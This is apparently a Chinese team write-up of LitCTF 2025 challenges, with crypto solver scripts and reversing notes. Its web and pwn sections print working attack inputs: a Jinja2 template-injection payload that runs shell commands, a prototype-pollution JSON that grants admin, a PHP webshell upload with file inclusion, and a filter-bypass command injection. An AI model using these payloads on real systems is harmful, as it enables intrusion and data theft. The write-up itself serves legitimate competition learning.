LitCTF2025wp


LitCTF2025

队伍名称:只做签到

队伍成员:

1
2
3
Lost1
ayiqing
Shangwendada

解题情况(17题)

完整解题思路

misc

灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄

开启环境

使用这个项目解密

https://github.com/ProbiusOfficial/Lingicrypt

Cropping

伪加密破解

解压压缩包

拼图

扫码得到flag

问卷题

填写问卷得到flag

像素中的航班

下载附件

主办方是郑州的

长城杯总决赛地点在福州

知道起始点,直接搜索

从图中也能看出是南方航空

尝试到第二个得到答案

最后flag为

1
LitCTF{CZ8289}

消失的文字

ctf-natA一把梭

得到

1
868F-83BD-FF

解压压缩包

在线网址解密

Hidden Word

web

星愿信箱

payload:

1
{"cmd":"{%print(lipsum.__globals__.__builtins__['__import__']('os').popen('tac /f*').read())%}"}

nest_js

多重宇宙日记

注册

更新设置

payload:

1
2
{"settings":{"theme":"sb","language":"1",
"__proto__":{"isAdmin":true}}}

进入管理员面版

easy_file

一个登录框,首先随便输入,发现账号密码被base64编码,于是先尝试弱密码爆破:

通过内容长度,查看爆破结果,最终密码为password,登录进来有文件上传

尝试传马没成功,于是回到登录页login.php,ctrl+U,发现提示

于是在admin.php添加GET参数file.发现存在文件包含

http://node11.anna.nssctf.cn:20823/admin.php?file=1

然后尝试上传一句话木马,文件后缀为jpg,发现内容中会监测php关键字,使用短标签绕过

返回了文件路径/uploads/1.jpg

尝试包含http://node11.anna.nssctf.cn:20823/admin.php?file=uploads/1.jpg

然后post传数据,使用system函数实现命令执行

pwn

test_your_nc

ida查看搜索字符串

过滤了:[‘cat’,’ls’,’ ‘,’cd’,’echo’,’<’,’${IFS}’,’sh’,’\‘]

绕过cat可以用 c’’at,绕过空格,可以用$IFS$9

1
payload:c''at$IFS$9flag

crypto

basic

由于 n 是质数会导致 RSA 不安全,题目描述可能有误。实际 n 应为两个大质数的乘积。你需要:

  1. 分解 n 得到 pq
  2. 按照合数 n 的解法计算 d 并解密。
使用 factordb 分解

访问 factordb.com 输入 n,如果已有分解结果,可以直接得到 pq

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import long_to_bytes

n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
e = 65537
c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505

# 因为 n 是质数,phi(n) = n - 1
phi = n - 1

# 计算模反元素 d
d = pow(e, -1, phi)

# 解密
m = pow(c, d, n)

# 转换为字节
flag = long_to_bytes(m)
print(flag)

ez_math

矩阵rsa

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from sage.all import *
from Crypto.Util.number import long_to_bytes

# Given data
e = 65537
p = 8147594556101158967571180945694180896742294483544853070485096002084187305007965554901340220135102394516080775084644243545680089670612459698730714507241869
B = Matrix(GF(p), [
[2155477851953408309667286450183162647077775173298899672730310990871751073331268840697064969968224381692698267285466913831393859280698670494293432275120170,
4113196339199671283644050914377933292797783829068402678379946926727565560805246629977929420627263995348168282358929186302526949449679561299204123214741547],
[3652128051559825585352835887172797117251184204957364197630337114276860638429451378581133662832585442502338145987792778148110514594776496633267082169998598,
2475627430652911131017666156879485088601207383028954405788583206976605890994185119936790889665919339591067412273564551745588770370229650653217822472440992]
])

# Step 1: Compute eigenvalues of B
tr_B = B.trace()
det_B = B.det()
print(f"Trace(B) = {tr_B}")
print(f"Det(B) = {det_B}")

# Characteristic equation: λ^2 - tr(B)*λ + det(B) = 0
Delta = tr_B**2 - 4 * det_B
print(f"Discriminant Δ = {Delta}")

# Check if Δ is a quadratic residue
if kronecker(Delta, p) != 1:
print("Δ is not a quadratic residue modulo p!")
exit()

# Compute sqrt(Δ)
sqrt_Delta = sqrt(Mod(Delta, p))
print(f"sqrt(Δ) = {sqrt_Delta}")

# Compute eigenvalues
lambda1 = (tr_B + sqrt_Delta) * inverse_mod(2, p) % p
lambda2 = (tr_B - sqrt_Delta) * inverse_mod(2, p) % p
print(f"λ1 = {lambda1}")
print(f"λ2 = {lambda2}")

# Step 2: Compute e-th roots of eigenvalues (μ = λ^{1/e} mod p)
d = inverse_mod(e, p-1) # Since p is prime, ϕ(p) = p-1
mu1 = pow(lambda1, d, p)
mu2 = pow(lambda2, d, p)
print(f"μ1 = {mu1}")
print(f"μ2 = {mu2}")

# Step 3: Diagonalize B and reconstruct A
# Find eigenvectors of B (columns of P)
# Solve (B - λI)v = 0
def find_eigenvector(B, lambda_, p):
M = B - diagonal_matrix([lambda_, lambda_])
# Find kernel (nullspace)
ker = M.right_kernel()
if ker.dimension() == 0:
print("No eigenvector found!")
exit()
return ker.basis()[0]

v1 = find_eigenvector(B, lambda1, p)
v2 = find_eigenvector(B, lambda2, p)
P = Matrix(GF(p), [v1, v2]).transpose()
P_inv = P.inverse()
print("P =", P)
print("P_inv =", P_inv)

# Construct D^{1/e} = diagonal matrix with μ1, μ2
D_root = diagonal_matrix(GF(p), [mu1, mu2])

# Reconstruct A = P * D^{1/e} * P^{-1}
A = P * D_root * P_inv
print("A =", A)

# Extract flag from A[0][0]
flag_num = A[0][0]
flag = long_to_bytes(int(flag_num))
print("\nFlag:", flag)

math

根据公式推导一下可以知道:hint-n=noise*(p+q+noise),我们把hint-n放到在线网站分解一下可以看见有一个40位的素数,就应该是noise的值

知道noise之后我们可以算出来p+q然后解方程可以解出p和q然后解rsa得到flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
n = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565066224724927142875488372745811265526082952677738164529563954987228906850399133238995317510054164641775620492640261304545177255239344267408541100183257566363663184114386155791750269054370153318333985294770328952530538998873255288249682710758780563400912097941615526239960620378046855974566511497666396320752739097426013141
e = 65537
c = 1443781085228809103260687286964643829663045712724558803386592638665188285978095387180863161962724216167963654290035919557593637853286347618612161170407578261345832596144085802169614820425769327958192208423842665197938979924635782828703591528369967294598450115818251812197323674041438116930949452107918727347915177319686431081596379288639254670818653338903424232605790442382455868513646425376462921686391652158186913416425784854067607352211587156772930311563002832095834548323381414409747899386887578746299577314595641345032692386684834362470575165392266454078129135668153486829723593489194729482511596288603515252196
hint = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565315879035806034866363781260326863226820493638303543900551786806420978685834963920605455531498816171226961859405498825422799670404315599803610007692517859020686506546933013150302023167306580068646104886750772590407299332549746317286972954245335810093049085813683948329319499796034424103981702702886662008367017860043529164
#print(hint-n)
noiese=942430120937
add=((hint-n)//noiese)-noiese
# var('x y')
# solve([x+y==add,x*y==n],[x,y])
p=135792238734020752402738279887728641662483275687137578306012881706639817605483435282163392435044240115684744622670586400181099625735464730483356502221026546220369148578684544694242743301595862672216732669599901182387427975535652315677229160320057058067529240344722506162893596721678195275652905002409883036941
q=n//p
import gmpy2
from Crypto.Util.number import *
d=gmpy2.invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))
#LitCTF{db6f52b9265971910b306754b9df8b76}

baby

根据式子mdata+kg=t构造格子,这里注意下需要平衡一下m大概在300位左右,t大概在150位

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
g = 7835965640896798834809247993719156202474265737048568647376673642017466116106914666363462292416077666356578469725971587858259708356557157689066968453881547
data = 2966297990428234518470018601566644093790837230283136733660201036837070852272380968379055636436886428180671888655884680666354402224746495312632530221228498
v1 = vector(ZZ, [1, data*2**150])
v2 = vector(ZZ, [0, g*2**150])
m = matrix([v1,v2]);
from Crypto.Util.number import *
shortest_vector = m.LLL()[0]
m, t = shortest_vector
m=abs(m)
t=abs(t)
t=t/2**150
assert isPrime(int(t))
print(long_to_bytes(m))
#LitCTF{56008a819331c9f3608a718327b7e6ce}

leak

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from Crypto.Util.number import *
import gmpy2
from sage.all import *

def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()

R = f.base_ring()
N = R.cardinality()

f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)

G = Sequence([], f.parent())
for i in range(m + 1):
base = N**(m - i) * f**i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)

B, monomials = G.coefficient_matrix()
monomials = vector(monomials)

factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)

B = B.dense_matrix().LLL()

B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)

H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots

return []

# 给定参数
e = 1915595112993511209389477484497
n = 12058282950596489853905564906853910576358068658769384729579819801721022283769030646360180235232443948894906791062870193314816321865741998147649422414431603039299616924238070704766273248012723702232534461910351418959616424998310622248291946154911467931964165973880496792299684212854214808779137819098357856373383337861864983040851365040402759759347175336660743115085194245075677724908400670513472707204162448675189436121439485901172477676082718531655089758822272217352755724670977397896215535981617949681898003148122723643223872440304852939317937912373577272644460885574430666002498233608150431820264832747326321450951
c = 5408361909232088411927098437148101161537011991636129516591281515719880372902772811801912955227544956928232819204513431590526561344301881618680646725398384396780493500649993257687034790300731922993696656726802653808160527651979428360536351980573727547243033796256983447267916371027899350378727589926205722216229710593828255704443872984334145124355391164297338618851078271620401852146006797653957299047860900048265940437555113706268887718422744645438627302494160620008862694047022773311552492738928266138774813855752781598514642890074854185464896060598268009621985230517465300289580941739719020511078726263797913582399
hint = 10818795142327948869191775315599184514916408553660572070587057895748317442312635789407391509205135808872509326739583930473478654752295542349813847128992385262182771143444612586369461112374487380427668276692719788567075889405245844775441364204657098142930

# 定义多项式环
P.<x,y> = PolynomialRing(Zmod(n))

# 构造多项式
f = e*(hint*2**180 + x) + y - 1

# 计算小根
roots = small_roots(f, [2**180, 2**100], m=3, d=5)

if not roots:
print("Failed to find small roots")
exit()

dh, k = roots[0]
print(f"Found roots: dh={dh}, k={k}")

# 计算 p
temp = hint*2**180 + dh
p = gcd(n, (e*temp - 1)//k + 1)
if p == 1 or p == n:
print("Failed to factor n")
exit()

print(f"[+] p = {p}")

# 计算 q
q = n // p
print(f"[+] q = {q}")

# 计算私钥 d
phi = (p-1)*(q-1)
d = inverse_mod(e, phi)

# 解密
m = pow(c, d, n)

# 将整数转换为字节
try:
flag = long_to_bytes(int(m))
print(f"[+] Flag: {flag.decode()}")
except:
print(f"[+] Potential flag (hex): {hex(int(m))}")

得到参数

1
2
3
dh = 65896927127248703649075923727600295339399985548824769
k = 324800176449536031183192318821
p = 97783500611645627628363615144874245627549896553481517603574634315501226729930389880172770040137063681263797751912201252509958779889945190533928725323930943229630615511472288612007184943613793256091687845325238049521808907664348233978943581917142000317506951466661992732144605135104306188100331104846791807313

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Util.number import long_to_bytes
from sage.all import *

# 已计算出的值
dh = 65896927127248703649075923727600295339399985548824769
k = 324800176449536031183192318821
p = 97783500611645627628363615144874245627549896553481517603574634315501226729930389880172770040137063681263797751912201252509958779889945190533928725323930943229630615511472288612007184943613793256091687845325238049521808907664348233978943581917142000317506951466661992732144605135104306188100331104846791807313

# 原始参数
n = 12058282950596489853905564906853910576358068658769384729579819801721022283769030646360180235232443948894906791062870193314816321865741998147649422414431603039299616924238070704766273248012723702232534461910351418959616424998310622248291946154911467931964165973880496792299684212854214808779137819098357856373383337861864983040851365040402759759347175336660743115085194245075677724908400670513472707204162448675189436121439485901172477676082718531655089758822272217352755724670977397896215535981617949681898003148122723643223872440304852939317937912373577272644460885574430666002498233608150431820264832747326321450951
e = 1915595112993511209389477484497
c = 5408361909232088411927098437148101161537011991636129516591281515719880372902772811801912955227544956928232819204513431590526561344301881618680646725398384396780493500649993257687034790300731922993696656726802653808160527651979428360536351980573727547243033796256983447267916371027899350378727589926205722216229710593828255704443872984334145124355391164297338618851078271620401852146006797653957299047860900048265940437555113706268887718422744645438627302494160620008862694047022773311552492738928266138774813855752781598514642890074854185464896060598268009621985230517465300289580941739719020511078726263797913582399

# 计算q
q = n // p
print(f"[+] q = {q}")

# 验证p*q是否等于n
assert p * q == n, "Factorization failed!"

# 计算φ(n)
phi = (p-1)*(q-1)

# 计算私钥d
try:
d = inverse_mod(e, phi)
print(f"[+] d = {d}")
except:
print("Failed to compute private key")
exit()

# 解密消息
m = pow(c, d, n)
print(f"[+] m = {m}")

# 转换为flag
try:
flag = long_to_bytes(int(m))
print(f"[+] Flag: {flag.decode()}")
except UnicodeDecodeError:
print(f"[+] Hex flag: {hex(int(m))}")
except Exception as e:
print(f"Decoding error: {e}")

运行得到

reverse

easy_rc4

RC4解密

直接赛博厨子一一把梭

Robbie Wanna Revenge

IL2cpp,但是GameAssembly.dll UPX加密了还改了标识,得修复

队友一把梭小工具

直接dumper拿AssemblyCsharp.dll

dnspy看看整个游戏的结构了,主要是看有哪些类,然后方便我们后续逆二进制逻辑

难发现,这个游戏是用PlayerHealth类来维护角色生命状态的,那么可以看到playerdied成员变量就 是用来标识角色是否死亡的。 接下来用dumper自带的脚本恢复符号

找到这个

rbx偏移28其实就是判断之前的playerdied,那这样的话我修改成强跳转,就无敌了

站上去都不死,接下来就是玩游戏了


文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录